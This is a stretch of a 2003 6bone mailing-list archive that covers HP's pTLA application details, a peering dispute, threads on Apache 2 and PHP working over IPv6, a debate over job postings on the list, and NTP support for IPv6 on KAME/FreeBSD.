>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>We've been running since 21 June 2002, meeting all requirements since that
>date.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>http://whois.6bone.net/cgi-bin/whois?HP
>http://whois.6bone.net/cgi-bin/whois?HP-Americas
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>Our boundary router is corgw01.hwp6.net, and is pingable via both v6 and v4.
>
>We currently maintain external connections to Sprint (who gave us our
>current
>block of IPv6 addresses) and internal connections (tunneled and native v6)
>between
>our 4 internal "core" sites, cascading to other edge site groups.  All
>connections
>are via BGP4+ using AS71.
>
>We have resisted making further external connections until we obtain pTLA
>space
>so that we can do full external peering relationships.  We've been using
>BGP4+
>within our testbed network, and members of our groups have extensive
>experience
>using both I-BGP and E-BGP in HP's IPv4 network.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>Our current authoritative name servers:
>         corns01.hwp6.net
>         palns01.hwp6.net
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a minimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>www.hwp6.net (externally accessible)
>www.ipv6.hp.com (only accessible from inside HP's private network)
>
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>SFF-6BONE
>JLH-6BONE
>MJU-6BONE
>DDC-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>          staff have access to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>ipv6-admin@ipv6.hp.com
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>The HP IT IPv6 Testbed provides IPv6 connectivity to internal
>Hewlett-Packard
>product development teams.  There well over 100,000 current HP employees and
>many IPv6 product development projects are underway, the details of which we
>would (obviously) prefer not to disclose publicly.  We expected to soon be
>required to provide connectivity to certain external business partners.
>
>The HP IT IPv6 is part of the company Information Services organization,
>currently located in the Managed Services Design & Delivery group.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We agree to abide by all 6Bone rules and policies now and for as long as
>we continue to use the 6Bone.
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
-end 


From ako@shekinah.ip.tiscali.net Tue Jan  7 22:48:36 2003
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Date: Wed, 8 Jan 2003 07:48:36 +0100
From: Alexander Koch <koch@tiscali.net>
To: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request LOXINFO-TH - review closes 21 January 2003
Message-ID: <20030108064836.GA28230@shekinah.ip.tiscali.net>
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On Tue, 7 January 2003 20:47:21 +0100, Nicolas DEFFAYET wrote:
> 6bone Folk,
[snip]
> NDSoftware (AS25358) don't peer with Loxinfo (AS4750).
> 
> NDSoftware have a strict peering policy about IPv6 over IPv4 tunnels for
> have a full high quality network, IPv6 over IPv4 tunnel must have less
> than 50ms of latency
> (http://noc.ndsoftwarenet.com/docs/peering-policy.php).
> 
> We have this policy for can peer with production network and have a full
> high quality network.

You have a full high quality network? In Paris only, you
mean? You sound like one of these beancounter ppl when
answering peering requests, man. What a tone, eh. It does
not fit with your network size.

Regardless, we are doing written paperwork for IPv6 peering
already with 6bone addresses? Anyone else does it?

curious,
Alexander


From mohacsi@evil.ki.iif.hu Tue Jan  7 23:25:34 2003
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On Tue, 7 Jan 2003, Gert Doering wrote:

> Hi,
>
> On Tue, Jan 07, 2003 at 02:37:02PM -0200, Robson Oliveira wrote:
> > Can somebody say how can my company/ISP move to IPv6 if:
>
> Slowly and with patience...
>
> > - The IIS/Apache web server don't support Multi-web site alias to one server only?
>
> Apache 2.0 should be able to do multihoming with IPv6.

Yes. It is capable doing that. We are using both VirtualHost and
NameVirtualHost .
>
> > - To update my Cisco IOS I need a CCO password and my carrier breakdown with WorldCom?
>
> You need to buy an IOS update, yes.  But that's the same as with all your
> machines - if their operating system is too old for IPv6, you need a more
> recent version.
>
> > - If my Microsoft w2k OS do not support AH/ESP IPSec support completely?
>
> Do IPSEC on a NetBSD or Linux/Usagi box.

IPsec also supported very well on FreeBSD/OpenBSD, Solaris and AIX.

Janos Mohacsi


From ako@shekinah.ip.tiscali.net Wed Jan  8 05:55:27 2003
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Date: Wed, 8 Jan 2003 14:55:31 +0100
From: Alexander Koch <koch@tiscali.net>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] ARIN allocation
Message-ID: <20030108135531.GA30016@shekinah.ip.tiscali.net>
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On Wed, 8 January 2003 08:25:31 +0100, Janos Mohacsi wrote:
> > > - The IIS/Apache web server don't support Multi-web
> > > site alias to one server only?
> > Apache 2.0 should be able to do multihoming with IPv6.
> Yes. It is capable doing that. We are using both VirtualHost and
> NameVirtualHost .

Is Apache 2.0.42 (or whatever) working nice enough with IPv6
and mod_perl and mod_php? Anyone having it in production? I
know these are not necessarily IPv6 considerations, but it
is closely linked.

Regards,
Alexander

-- 
Alexander Koch <koch@tiscali.net> / ako4-ripe
Network Engineer, Tiscali International Network
Robert-Bosch-Strasse 32, D-63303 Dreieich, Germany
Phone +49 6103 916 480, Fax +49 6103 916 464

From e.desimone@ecity.it Wed Jan  8 07:38:25 2003
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From: "Ettore De Simone" <e.desimone@ecity.it>
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On Wed, 8 Jan 2003 14:55:31 +0100, Alexander Koch wrote:

>Is Apache 2.0.42 (or whatever) working nice enough with IPv6
>and mod_perl and mod_php? Anyone having it in production? I
>know these are not necessarily IPv6 considerations, but it
>is closely linked.

Apache 2.0 isn't working even in IPv4, I had to downgrade an installation back to 1.3.26. Definitely not 
for production environment, maybe when 2.1 is out...




From danne@wiberg.nu Wed Jan  8 08:06:25 2003
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From: Daniel Wiberg <danne@wiberg.nu>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] Apache 2
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What are the problems with Apache2?

I've been running Apache2/Php in a "semi-production" environment for quite
some time with absolutely no problem.

BR,
Daniel Wiberg


On Wed, Jan 08, 2003 at 04:38:19PM +0100, Ettore De Simone wrote:
> On Wed, 8 Jan 2003 14:55:31 +0100, Alexander Koch wrote:
> 
> >Is Apache 2.0.42 (or whatever) working nice enough with IPv6
> >and mod_perl and mod_php? Anyone having it in production? I
> >know these are not necessarily IPv6 considerations, but it
> >is closely linked.
> 
> Apache 2.0 isn't working even in IPv4, I had to downgrade an installation back to 1.3.26. Definitely not 
> for production environment, maybe when 2.1 is out...
> 
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
www.wiberg.nu

From E.L.Schippers@rf.rabobank.nl Wed Jan  8 08:31:37 2003
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Indeed not working well at all.
Lots of trouble with PHP 4.2.3 and up too
All related to the MM session handler
Segfaults, child processes dieing.

Downgraded as well and wouldn't advise apache 2.0 nor php 4.3.0 to anyone.

Met vriendelijke groet,
E.L.Schippers
RabobankICT
Mail Continuïteit
Tel. +31 (0)30 21 51237
Mailto:E.L.Schippers@rf.rabobank.nl
 


-----Original Message-----
From: Ettore De Simone [mailto:e.desimone@ecity.it]
Sent: woensdag 8 januari 2003 16:38
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] ARIN allocation


On Wed, 8 Jan 2003 14:55:31 +0100, Alexander Koch wrote:

>Is Apache 2.0.42 (or whatever) working nice enough with IPv6
>and mod_perl and mod_php? Anyone having it in production? I
>know these are not necessarily IPv6 considerations, but it
>is closely linked.

Apache 2.0 isn't working even in IPv4, I had to downgrade an installation back to 1.3.26. Definitely not 
for production environment, maybe when 2.1 is out...



_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone



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From ck@arch.bellsouth.net Wed Jan  8 08:49:46 2003
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From: "Christian Kuhtz" <ck@arch.bellsouth.net>
To: "Daniel Wiberg" <danne@wiberg.nu>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] Apache 2
Date: Wed, 8 Jan 2003 11:49:35 -0500
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I concur, it does indeed work.   Apache2.0.43 w/ mod_ssl/2.0.43
OpenSSL/0.9.6g PHP/4.3.0-pre1, on Solaris 9.  Don't care for mod_perl over
here, haven't bothered with it at all.

www.arch.bellsouth.net/ipv6 is an installation (under construction) with
Apache2 & PHP, dual stacked with IPv4 & IPv6.  Right now, pretty much all
it'll tell you is what IPv4/IPv6 addr you're coming from (via whimpy PHP
script).

Contact me off-list if you'd like more info.

Cheers,
Christian

-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]On
Behalf Of Daniel Wiberg
Sent: Wednesday, January 08, 2003 11:06 AM
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] Apache 2


What are the problems with Apache2?

I've been running Apache2/Php in a "semi-production" environment for quite
some time with absolutely no problem.

BR,
Daniel Wiberg


On Wed, Jan 08, 2003 at 04:38:19PM +0100, Ettore De Simone wrote:
> On Wed, 8 Jan 2003 14:55:31 +0100, Alexander Koch wrote:
>
> >Is Apache 2.0.42 (or whatever) working nice enough with IPv6
> >and mod_perl and mod_php? Anyone having it in production? I
> >know these are not necessarily IPv6 considerations, but it
> >is closely linked.
>
> Apache 2.0 isn't working even in IPv4, I had to downgrade an installation
back to 1.3.26. Definitely not
> for production environment, maybe when 2.1 is out...
>
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

--
www.wiberg.nu
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone


From jeroen@unfix.org Wed Jan  8 09:44:34 2003
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Subject: RE: [6bone] Apache 2
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Daniel Wiberg wrote:

> What are the problems with Apache2?
> 
> I've been running Apache2/Php in a "semi-production" 
> environment for quite
> some time with absolutely no problem.

Maybe a teeny bit off topic but just to make it clear:

Apache 2.x + PHP4 *works* both on IPv6 and IPv4 without any problems.

The one issue that was at hand was the fact that with Linux and
certain combinations of NIC's and the 'sendfile()' function.
Causing that pages send out over IPv6 never worked except when
they where sent over SSL or similar.

When one comes over this situation building Apache 2 without sendfile
support fixes this problem. The next edition of Apache 2 will have a
"Sendfile off" option which circumvents this without the need for
a rebuild.

One should use PHP4 4.3.x and up in combination with Apache2.

As for PHP4 and Apache2, the main problem is here that most of the
database related php-plugins are not resitant against threading.
Using the Apache2 MPM prefork module works.

If people still are having problems with it I suggest them to give
comprehensive reports to the Apache development list and/or the
bugreport tool:

http://httpd.apache.org/bug_report.html
http://httpd.apache.org/lists.html

Btw... *.apache.org runs Apache2 and so does www.sixxs.net amongst many
other sites around this globe. People saying "it does not work" should
give comprehensive details of what doesn't work etc, see above.

Greets,
 Jeroen


From gert@Space.Net Wed Jan  8 10:18:29 2003
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From: Gert Doering <gert@space.net>
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Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] ARIN allocation
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Hi,

On Wed, Jan 08, 2003 at 02:55:31PM +0100, Alexander Koch wrote:
> Is Apache 2.0.42 (or whatever) working nice enough with IPv6
> and mod_perl and mod_php? Anyone having it in production? I
> know these are not necessarily IPv6 considerations, but it
> is closely linked.

2.0.43 works nicely for us (http://www.space.net), with mod_php and
mod_perl.

mod_php ist heavily used and works well.  

mod_perl claims to work but hasn't been tested very much yet.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55180  (54707)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From kim@tac.nyc.ny.us Wed Jan  8 10:35:57 2003
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Subject: Re: [6bone] Apache 2
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 from "Christian Kuhtz" on Wed, 08 Jan 2003 11:49:35 -0500
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I tried to upgrade to Apache2 and had the following problems:
- no libapreq to go with Apache2/mod_perl
- Horde (2.2-cvs) would no longer work with PHP-4.2.3 (not even
  on Apache 1.3.27)

I was using the versions from pkgsrc on NetBSD, and did not have
time to try to look into it further.  And I'm not sure it would
have helped for me to look into it, either...  :-)

Otherwise I did have a working basic Apache2 w/ SSL, and PHP also
worked ok for some smaller (simpler) apps.

Regards,
+ Kim


| From:    "Christian Kuhtz" <ck@arch.bellsouth.net>
| Date:    Wed, 08 Jan 2003 11:49:35 -0500
|
|
| I concur, it does indeed work.   Apache2.0.43 w/ mod_ssl/2.0.43
| OpenSSL/0.9.6g PHP/4.3.0-pre1, on Solaris 9.  Don't care for mod_perl over
| here, haven't bothered with it at all.
|
| www.arch.bellsouth.net/ipv6 is an installation (under construction) with
| Apache2 & PHP, dual stacked with IPv4 & IPv6.  Right now, pretty much all
| it'll tell you is what IPv4/IPv6 addr you're coming from (via whimpy PHP
| script).
|
| Contact me off-list if you'd like more info.
|
| Cheers,
| Christian
|
| -----Original Message-----
| From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]On
| Behalf Of Daniel Wiberg
| Sent: Wednesday, January 08, 2003 11:06 AM
| To: 6bone@mailman.isi.edu
| Subject: Re: [6bone] Apache 2
|
|
| What are the problems with Apache2?
|
| I've been running Apache2/Php in a "semi-production" environment for quite
| some time with absolutely no problem.
|
| BR,
| Daniel Wiberg
|
|
| On Wed, Jan 08, 2003 at 04:38:19PM +0100, Ettore De Simone wrote:
| > On Wed, 8 Jan 2003 14:55:31 +0100, Alexander Koch wrote:
| >
| > >Is Apache 2.0.42 (or whatever) working nice enough with IPv6
| > >and mod_perl and mod_php? Anyone having it in production? I
| > >know these are not necessarily IPv6 considerations, but it
| > >is closely linked.
| >
| > Apache 2.0 isn't working even in IPv4, I had to downgrade an installation
| back to 1.3.26. Definitely not
| > for production environment, maybe when 2.1 is out...
| >
| >
| >
| > _______________________________________________
| > 6bone mailing list
| > 6bone@mailman.isi.edu
| > http://mailman.isi.edu/mailman/listinfo/6bone
|
| --
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From e.desimone@ecity.it Wed Jan  8 10:51:57 2003
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From: "Ettore De Simone" <e.desimone@ecity.it>
To: "6bone@mailman.isi.edu" <6bone@mailman.isi.edu>
Date: Wed, 08 Jan 2003 19:50:38 +0100
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Random hangs, usually associated with heavy traffic - no faults, it just stops answering requests and 
needs manual restart. Checking the Apache bug database I found out is a somewhat diffuse problem, 
and yet it is unresolved - no way around it, had to abandon the whole thing. 


On Wed, 8 Jan 2003 17:06:21 +0100, Daniel Wiberg wrote:

>What are the problems with Apache2?
>
>I've been running Apache2/Php in a "semi-production" environment for quite
>some time with absolutely no problem.


From jeroen@unfix.org Wed Jan  8 11:58:35 2003
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To: "'Ettore De Simone'" <e.desimone@ecity.it>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] Apache 2
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Ettore De Simone wrote:

> Random hangs, usually associated with heavy traffic - no 
> faults, it just stops answering requests and 
> needs manual restart. Checking the Apache bug database I 
> found out is a somewhat diffuse problem, 
> and yet it is unresolved - no way around it, had to abandon 
> the whole thing. 
> 

http://www.apache.org/server-status

Server Version: Apache/2.0.44-dev (Unix) 
Server Built: Jan 7 2003 08:24:19 

Current Time: Wednesday, 08-Jan-2003 11:53:58 PST 
Restart Time: Tuesday, 07-Jan-2003 11:39:18 PST 
Parent Server Generation: 1 
Server uptime: 1 day 14 minutes 40 seconds 
Total accesses: 3408392 - Total Traffic: 236.4 GB 
CPU Usage: u190.031 s448.383 cu452.109 cs159.203 - 1.43% CPU load 
39.1 requests/sec - 2.8 MB/second - 72.7 kB/request 
151 requests currently being processed, 57 idle workers 

I think they are pushing quite a lot of traffic.
Especially when new versions get released.

nagoya.apache.org 
Wed Jan 08 11:57:40 2003 
Apache/2.0.40-dev (Unix) DAV/2 SVN/0.13.1 (dev build) 

That is one of the primary mirrors, unfortunatly it doesn't have a
public server-status.

Also your 'bug' quite probably has to do with the Linux 'sendfile'
implementation.
But heh, you didn't even bother to mention OS nor Apache versions so
there is nothing
to tell about it now is there.

Greets,
 Jeroen



From andreas@naund.org Wed Jan  8 14:43:32 2003
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From: Andreas Ott <andreas@naund.org>
To: "Janine C.Buorditez" <johann@broadpark.no>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 configuration in FreeBSD
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Hi,
On Tue, Jan 07, 2003 at 11:59:36AM +0100, Janine C.Buorditez wrote:
> Actually, I do need further help.

I will do this in private mail to you (as I did in the first round),
I believe this topic is more of the 'tech support' nature and we should
not bother the list with it. I know of several successful FreeBSD IPv6
installation that were straight forward.
-andreas
-- 
Andreas Ott                            andreas@naund.org

From itojun@itojun.org Wed Jan  8 19:32:44 2003
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>>Is Apache 2.0.42 (or whatever) working nice enough with IPv6
>>and mod_perl and mod_php? Anyone having it in production? I
>>know these are not necessarily IPv6 considerations, but it
>>is closely linked.
>Apache 2.0 isn't working even in IPv4, I had to downgrade an installation
>back to 1.3.26. Definitely not for production environment, maybe when 2.1
>is out...

	could you talk more about WHAT did not work with 2.0?  i have switched
	all my servers to 2.0 (no mod_perl/php though), and have been using it
	without any trouble.

itojun

From hank@att.net.il Thu Jan  9 00:59:01 2003
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http://www.cisco.com/warp/public/105/icmpv6codes.html

-Hank


From tommahoney@technetinc.com Thu Jan  9 11:59:51 2003
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Date: Thu, 09 Jan 2003 11:45:55 -0800
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This is a multi-part message in MIME format.

--Boundary_(ID_rMGkvuF6cUXLSro88Ynuwg)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT

Hello,
I am a recruiter here in Mountain View CA. I represent a company that is
looking to fill a Architect position (details to follow) in the San Jose
area.
If you or anyone you know is interested, do not hesitate to contact me.
Thanks and Happy New Year.
Tom Mahoney
Technology Network Inc
650-960-4055 ph
tommahoney@technetinc.com

 Candidate is expected to have in-depth knowledge of IPv6 forwarding,
addressing and tunneling. Candidate should also have strong background
in IP stack and routing protocols for IPv6. The candidate will be
responsible for defining and driving hardware/software architecture and
design for IPv6 . Hands-on development experience in IPv6 is a must.
Must have 4-5 year experience in IPv6, 8-10 years in networking, and a
BS/MS.

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fn:Tom Mahoney
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--Boundary_(ID_rMGkvuF6cUXLSro88Ynuwg)--

From rrockell@sprint.net Thu Jan  9 12:41:56 2003
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Who is monitoring this list again?

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On Thu, 9 Jan 2003, Tom Mahoney wrote:

->Hello,
->I am a recruiter here in Mountain View CA. I represent a company that is
->looking to fill a Architect position (details to follow) in the San Jose
->area.
->If you or anyone you know is interested, do not hesitate to contact me.
->Thanks and Happy New Year.
->Tom Mahoney
->Technology Network Inc
->650-960-4055 ph
->tommahoney@technetinc.com
->
-> Candidate is expected to have in-depth knowledge of IPv6 forwarding,
->addressing and tunneling. Candidate should also have strong background
->in IP stack and routing protocols for IPv6. The candidate will be
->responsible for defining and driving hardware/software architecture and
->design for IPv6 . Hands-on development experience in IPv6 is a must.
->Must have 4-5 year experience in IPv6, 8-10 years in networking, and a
->BS/MS.
->


From cfaber@fpsn.net Thu Jan  9 13:48:39 2003
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Date: Thu, 09 Jan 2003 14:48:05 -0700
From: Colin Faber <cfaber@fpsn.net>
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This is somewhat off topic (Yes I realize im adding to the noise level)
however, Given the lack of any other generalized' IPv6 discussion lists
I don't see too much of a problem with this kind of posting until such
postings get absolutely out of hand.



"Robert J. Rockell" wrote:
> 
> Who is monitoring this list again?
> 
<snip>

-- 
Colin Faber
(303) 736-5160
fpsn.net, Inc.
* Black holes are where God divided by zero. *

-> SPAM TRAP ADDRESS - DO NOT EMAIL <-
   cfaber.signature@mysqlfaqs.com
-> SPAM TRAP ADDRESS - DO NOT EMAIL <-

From bob@thefinks.com Thu Jan  9 15:21:54 2003
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Subject: Re: [6bone] Career Opportunity in IPv6
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6bone Folk,

As for moderating this list, it really isn't. Bill Manning helps manage the 
list given he is the host for it, and we collectively decide on what's 
appropriate after the fact, with input from those on the list, of course.

Having said that, I believe we should not allow job postings.

However, I don't believe anyone wants to look at every posting before it's 
released. Too much work for a little gain.


Bob

===

Who is monitoring this list again?

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On Thu, 9 Jan 2003, Tom Mahoney wrote:

->Hello,
->I am a recruiter here in Mountain View CA. I represent a company that is
->looking to fill a Architect position (details to follow) in the San Jose
->area.
->If you or anyone you know is interested, do not hesitate to contact me.
->Thanks and Happy New Year.
->Tom Mahoney
->Technology Network Inc
->650-960-4055 ph
->tommahoney@technetinc.com
->
-> Candidate is expected to have in-depth knowledge of IPv6 forwarding,
->addressing and tunneling. Candidate should also have strong background
->in IP stack and routing protocols for IPv6. The candidate will be
->responsible for defining and driving hardware/software architecture and
->design for IPv6 . Hands-on development experience in IPv6 is a must.
->Must have 4-5 year experience in IPv6, 8-10 years in networking, and a
->BS/MS.
->

At 02:48 PM 1/9/2003 -0700, Colin Faber wrote:
>This is somewhat off topic (Yes I realize im adding to the noise level)
>however, Given the lack of any other generalized' IPv6 discussion lists
>I don't see too much of a problem with this kind of posting until such
>postings get absolutely out of hand.


From bmanning@ISI.EDU Thu Jan  9 17:03:33 2003
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Subject: Re: [6bone] Career Opportunity in IPv6
In-Reply-To: <Pine.GSO.4.33.0301091544090.23629-100000@iscserv1> from "Robert J. Rockell" at "Jan 9, 3 03:44:17 pm"
To: rrockell@sprint.net (Robert J. Rockell)
Date: Thu, 9 Jan 2003 17:03:21 -0800 (PST)
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	everyone subscribed? :)
	seriously, we have never encouraged job postings.
	I could moderate the list, but it would delay postings
	a bit.  Or I could kick offenders off and be draconian.
	That may reduce the useful life of the list.

	Would a brief posting of list manners be useful?

	    

% Who is monitoring this list again?
% 
% Thanks
% Rob Rockell
% SprintLink
% (+1) 703-689-6322
% -----------------------------------------------------------------------
% 
% On Thu, 9 Jan 2003, Tom Mahoney wrote:
% 
% ->Hello,
% ->I am a recruiter here in Mountain View CA. I represent a company that is
% ->looking to fill a Architect position (details to follow) in the San Jose
% ->area.
% ->If you or anyone you know is interested, do not hesitate to contact me.
% ->Thanks and Happy New Year.
% ->Tom Mahoney
% ->Technology Network Inc
% ->650-960-4055 ph
% ->tommahoney@technetinc.com
% ->
% -> Candidate is expected to have in-depth knowledge of IPv6 forwarding,
% ->addressing and tunneling. Candidate should also have strong background
% ->in IP stack and routing protocols for IPv6. The candidate will be
% ->responsible for defining and driving hardware/software architecture and
% ->design for IPv6 . Hands-on development experience in IPv6 is a must.
% ->Must have 4-5 year experience in IPv6, 8-10 years in networking, and a
% ->BS/MS.
% ->
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From bob@thefinks.com Thu Jan  9 17:56:27 2003
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To: Bill Manning <bmanning@ISI.EDU>, rrockell@sprint.net (Robert J. Rockell)
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] Career Opportunity in IPv6
Cc: tommahoney@technetinc.com, 6bone@ISI.EDU
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At 05:03 PM 1/9/2003 -0800, Bill Manning wrote:
>         everyone subscribed? :)
>         seriously, we have never encouraged job postings.
>         I could moderate the list, but it would delay postings
>         a bit.  Or I could kick offenders off and be draconian.
>         That may reduce the useful life of the list.
>
>         Would a brief posting of list manners be useful?

I don't think moderation is required, but your offer of a manners list 
would be appreciated.


Thanks,

Bob 


From michel@arneill-py.sacramento.ca.us Thu Jan  9 18:20:07 2003
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Subject: [6bone] Career Opportunity in IPv6 
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> Bob Fink wrote:
> Having said that, I believe we should not allow job postings.

Agreed.

Besides, who would want to work for a recruiter that does not even have
enough money to post a job on dice.com or monster.com?

I'm interested in the job. Move it 3 blocks from my house and make the
salary $350k/yr, I'll take it.

Michel.


From basit@basit.cc Thu Jan  9 22:16:01 2003
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Hi,

 Has anyone checked out ntp ipv6 implementation?
as far as i tested, none(ntp4.1rc1, ntp 4.1.72, 4.1.70,
4.1.0 (patched from viaganie patch) worked on kame/freebsd
(snap 6'th jan).

viaganie patched ipv6 results in not IPV6_ONLY error
and others do not recognize ipv6 address notion.

- basit


From old_mc_donald@hotmail.com Fri Jan 10 04:25:40 2003
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Cc: <tommahoney@technetinc.com>, <6bone@ISI.EDU>
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Subject: Re: [6bone] Career Opportunity in IPv6
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Hi All,

I wonder if maybe monitoring of the subscriptions instead would be useful?
I am guessing here as I do not know how many you get, but imagine it to be
a 10th of the postings on the list at the most.

The advertiser would have had to subscribe to the list in order to post to
it.
I assume having taken this effort it is not a cross posting or junk job
offer and
that it was genuinely aimed at targeting the best in the IPv6 field - I have
no
doubt he is in the right place. However I agree it is not the place for Job
Adverts.

A more thorough application process to subscribe to the list might be easier
to manage.


| everyone subscribed? :)
| seriously, we have never encouraged job postings.
| I could moderate the list, but it would delay postings
| a bit.  Or I could kick offenders off and be draconian.
| That may reduce the useful life of the list.
|
| Would a brief posting of list manners be useful?

I don't know, how would it work?
If posted tomorrow surely someone who subcribes the next day
would not get to see it.

Gav...


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.441 / Virus Database: 247 - Release Date: 9/01/2003

From kaushik_ari@rediffmail.com Fri Jan 10 05:45:31 2003
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Hi all,
      Could any one tell me SNTP client/server free code site 
having support ipv4 as well
as Ipv6.

regards
ari.

On Fri, 10 Jan 2003 Abdul Basit wrote :
>
>Hi,
>
>  Has anyone checked out ntp ipv6 implementation?
>as far as i tested, none(ntp4.1rc1, ntp 4.1.72, 4.1.70,
>4.1.0 (patched from viaganie patch) worked on kame/freebsd
>(snap 6'th jan).
>
>viaganie patched ipv6 results in not IPV6_ONLY error
>and others do not recognize ipv6 address notion.
>
>- basit
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone





From pim@ipng.nl Fri Jan 10 06:03:21 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Abdul Basit <basit@basit.cc>
Cc: snap-users@kame.net, 6bone@mailman.isi.edu
Subject: Re: [6bone] ntp/kame
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On Fri, Jan 10, 2003 at 12:16:19AM -0600, Abdul Basit wrote:
| 
| Hi,
| 
|  Has anyone checked out ntp ipv6 implementation?
| as far as i tested, none(ntp4.1rc1, ntp 4.1.72, 4.1.70,
| 4.1.0 (patched from viaganie patch) worked on kame/freebsd
| (snap 6'th jan).
I have recently also tried the ntp4 stuff, but to no avail. Also
there were many strange behavioral issues with IPv6 transport
so I reverted back to an IPv4 only approach. The Viagenie software
can only work with one specific GPS source and IIRC not sync to
other (stratum-1) servers over the Internet.

Does anybody have a working server (that does IPv4 and IPv6 without
a direct time-source) ? I'd be interrested in one for FreeBSD.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pim@ipng.nl Fri Jan 10 06:04:34 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Gav <old_mc_donald@hotmail.com>
Cc: Bill Manning <bmanning@ISI.EDU>, "Robert J. Rockell" <rrockell@sprint.net>,
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| 
| I don't know, how would it work?
Of course, when one subscribes to a list, they will get a welcome note
from the listadmin. This can be done automatically in any list software.

| If posted tomorrow surely someone who subcribes the next day
| would not get to see it.
They should get the AUP when they subscribe. This way everybody that is
on they list, should know about the rules before they ever post.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From fredb@immanent.net Fri Jan 10 06:18:30 2003
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From: Frederick Bruckman <fredb@immanent.net>
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cc: snap-users@kame.net, <6bone@mailman.isi.edu>
Subject: Re: [6bone] ntp/kame
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On Fri, 10 Jan 2003, Abdul Basit wrote:

>  Has anyone checked out ntp ipv6 implementation?
> as far as i tested, none(ntp4.1rc1, ntp 4.1.72, 4.1.70,
> 4.1.0 (patched from viaganie patch) worked on kame/freebsd
> (snap 6'th jan).

I'm successfully using the ntp-dev-ipv6 bitkeeper checkout, on NetBSD
1.6K and 1.6_STABLE. As in the story of Ambrose Bierce's inventor, all
the details are solved, and only fundamental problems remain.

> viaganie patched ipv6 results in not IPV6_ONLY error
> and others do not recognize ipv6 address notion.

Why would you need to use ipv6 notation? Try ntp.ipv6.viagenie.qc.ca,
or you could try ntp.immanent.net (which is just a workstation synced
to some public servers).

Frederick


From kim@tac.nyc.ny.us Fri Jan 10 06:45:11 2003
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Subject: Re: [6bone] ntp/kame
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 from Frederick Bruckman on Fri, 10 Jan 2003 08:18:16 -0600
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Sometimes at boot DNS may not be available (e.g. an external line
being down), yet you'd want your servers to not reject an external
NTP server in their config, but rather continue using it once the
connectivity is back.

Using an address instead of a DNS name provides this.

+ Kim


| From:    Frederick Bruckman <fredb@immanent.net>
| Date:    Fri, 10 Jan 2003 08:18:16 -0600
|
| > viaganie patched ipv6 results in not IPV6_ONLY error
| > and others do not recognize ipv6 address notion.
|
